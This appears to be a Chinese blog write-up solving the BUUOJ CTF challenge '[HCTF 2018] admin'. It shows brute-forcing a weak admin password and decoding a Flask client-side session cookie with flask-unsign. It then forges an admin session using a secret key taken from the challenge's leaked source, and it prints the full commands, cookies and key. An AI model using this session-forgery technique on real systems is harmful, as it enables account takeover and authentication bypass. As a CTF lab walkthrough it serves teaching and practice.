[HCTF 2018]admin

imtaieee發表於2024-11-02

題目連結:https://buuoj.cn/challenges#[HCTF 2018]admin

開啟題目後如下所示。

右上方有一個選單,存在登陸模組,嘗試使用 admin 登陸,對密碼進行爆破,發現密碼為 123,隨即獲得 flag。

但實際上,該題的真正考點並不是弱密碼。

訪問環境預設頁面,在頁面原始碼處發現提示 "you are not admin"。

在註冊了賬戶後,發現選單中多了 "post" 與 "change" 功能,訪問 "change" 頁面,頁面原始碼如下。


<!DOCTYPE html>
<html>
  <head>
    <meta charset="utf-8">
    <title>change</title>
    <link rel="stylesheet" href="//cdn.bootcss.com/semantic-ui/2.1.8/semantic.min.css">
    <link rel="stylesheet" href="/static/css/style.css">
    <script src="//cdn.bootcss.com/jquery/1.11.3/jquery.min.js"></script>
    <script src="//cdn.bootcss.com/semantic-ui/2.1.8/semantic.min.js"></script>
  </head>
  <body>
<div class="nav">
  <div class="ui grid">
    <div class="four wide column"></div>

    <div class="eight wide column">
      <a href="/posts"><h1>change</h1></a>
    </div>
  </div>
</div>
<div class="nav-setting">
  <div class="ui buttons">
    <div class="ui floating dropdown button">
      <i class="icon bars"></i>
      <div class="menu">
    
          <a class="item" href="/index">index</a>
          <div class="divider"></div>
          <a class="item" href="/edit">post</a>
          <a href="/change" class="item">change password</a>
          <a class="item" href="/logout">logout</a>
    
      </div>
    </div>
  </div>
</div>
<div class="ui grid">
  <div class="four wide column"></div>
  <div class="eight wide column">
  
  
  

  </div>
</div>

<div class="ui grid">
    <div class="four wide column"></div>
    <div class="eight wide column">
        <!-- https://github.com/woadsl1234/hctf_flask/ -->
      <form class="ui form segment" method="post" enctype="multipart/form-data">
        <div class="field required">
          <label>NewPassword</label>
          <input id="newpassword" name="newpassword" required type="password" value="">
        </div>
        <input type="submit" class="ui button fluid" value="更換密碼">
      </form>
    </div>
  </div>  

<script type="text/javascript">
    $(document).ready(function () {
       // 點選按鈕彈出下拉框
       $('.ui.dropdown').dropdown();
  
       // 滑鼠懸浮在頭像上,彈出氣泡提示框
       $('.post-content .avatar-link').popup({
         inline: true,
         position: 'bottom right',
         lastResort: 'bottom right'
       });
     })
   </script>
   </body>
  </html>

發現,有一個 github 專案地址:https://github.com/woadsl1234/hctf_flask/ (目前該專案已經打不開了)。

發現該專案名有 "flask" 字樣,猜測後端使用的是 Python 的 Flask 框架。

在登入後,透過抓取網頁請求包,可以發現 session 內容,如下。

GET /index HTTP/1.1
Host: cdea92f1-b4d3-4ee8-8851-674daf12f9ca.node5.buuoj.cn
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.6367.155 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie: session=.eJw9kEGLwjAQhf_KMmcPGtuL4GEhtVSYFCVtSS5Sa22bNC5UpTXif99ZWTwMDO-9-eDNEw7nob62sLoN93oGh-4Eqyd8HWEFqtgF2kVeeNHreO80rx7I9k55G9K-FLFaYixaNJYJ2Xghs1DLiCmWMOGTEH02arntFNu06Dat8FujjQpUQTqxlEk88ipAnreUM4Jlo3C7B5q8J_acuIGSmy79y8hq0jy3aYGUtzQ4prIhTjRhnK3hNYPqOpwPtx9bXz4VBO8d1QiRCZtKYVWxNan8ptPIK5-MyEnnfYu8mahmp3m2UOP6jetc2dQf0inuS_3vXEpHBpQn110WbAkzuF_r4f06WMzh9Qu60W4-.ZxxnVw.ZjcWyEbU7eP9g9FWNBP5qBoa5Pw
Connection: keep-alive


而 Flask 是非常輕量級的 Web 框架 ,其 session 儲存在客戶端中,也就是說其實只是將相關內容進行了加密儲存到 session 中。和服務端的 session 不同,服務端的 session 儲存在服務端中,依靠客戶端 Cookie 值中的 sessionId 來進行識別。 也就是說,在本題中,可以透過更改 session 裡面的使用者名稱為 admin,實現偽造 admin 登入。

透過工具:Flask-Unsign( https://github.com/Paradoxis/Flask-Unsign )可以解密 session。

flask-unsign --unsign --cookie ".eJxNkMGKgzAQhl9lmXMPJtqL0JsaLEzEblSSS-laW43GBW2xTem7b9qFZQ8Dw_wf3zDzgP1pauYWwst0bVaw744QPuDjC0KQVR4oE1tu-aDYzqioviPdGWn7tet9zqSPjLeoe8rF2XJRrJWIqaQp5TZdoy0WJbadpEmLJmm53WqlZSArN3cuqVOLUR1gVLaO05wWCzf5HXU5OLfnvIEUSZe9GFHfVFT2WYWO713hkomz88Q3ZMUGniuo5-m0v3z3zfjvBGWUyMkLRRYvbh3JWEyyKPXRoMdtOWQs9dBioCqnZDnBfPPWdeZwbv5Mgib6c_lNxoNxARyOphsJ9WEF17mZ3q8D4sHzBzQebHM.ZxyA6w.Kcu4srF-pOmYR_3EvCbWTB7Qtcc"
[*] Session decodes to: {'_fresh': True, '_id': b'ad8fa373eddfd723dfc99d774f70ca296583559e16cb6729350e2bcaa2aa72cf68ae0d72b2307805ae2c7e06d225e4f4298a1b878171d5d9c8098030980d110e', 'csrf_token': b'affe459800a00758a58272c475e8b4338ec08d51', 'image': b'OacK', 'name': 'admin123', 'user_id': '10'}

但是將 name 設定為 "admin",並偽造 session 時,需要 key,筆者這裡嘗試了 Flask-Unsign 的預設字典進行爆破,失敗了。檢視了一下其他師傅的 writeup,發現 key 在已經失效了的 github 專案( https://github.com/woadsl1234/hctf_flask/ )的原始碼裡,因此這裡直接給出 key:ckj123。

使用該 key 直接生成新的 session,並替換原請求包中的 session。

flask-unsign --sign --secret "ckj123" --cookie "{'_fresh': True, '_id': b'ad8fa373eddfd723dfc99d774f70ca296583559e16cb6729350e2bcaa2aa72cf68ae0d72b2307805ae2c7e06d225e4f4298a1b878171d5d9c8098030980d110e', 'csrf_token': b'affe459800a00758a58272c475e8b4338ec08d51', 'image': b'OacK', 'name': 'admin', 'user_id': '10'}"
.eJxNkMGKgzAQhl9lmbMHjfYi9KYGCxOxG5XkIl1r1di4oC22KX33Tbuw7GFgmP_jG2YeUJ_mdukhvMzX1oF6OEL4gI8vCEFUeSB1bJhhZ0n3WkbNHcleCzNubO8zKnykrEc1EsY7w3ixkTwmgqSEmXSDplgl3w2CJD3qpGdmp6QSgajs3LqESg1GTYBR2VtOMVKsTOd3VOXZul3rDQRPhuzF8OYmo3LMKrT8aAvXjHfWE9-QFlt4OtAs86m-fI_t9O8EqSXPvReKNF7tOi-jsZdFqY8aXWbKc0ZTFw0GsrJKmnuYb9-6QR-69s_ESaI-199kOmgbwOGohwkcuC7t_P4beC48fwDz1Gvd.ZxyEEQ.UI_jFH226ElVgBK8MEx-DfTU7HA

成功獲得 flag。

相關文章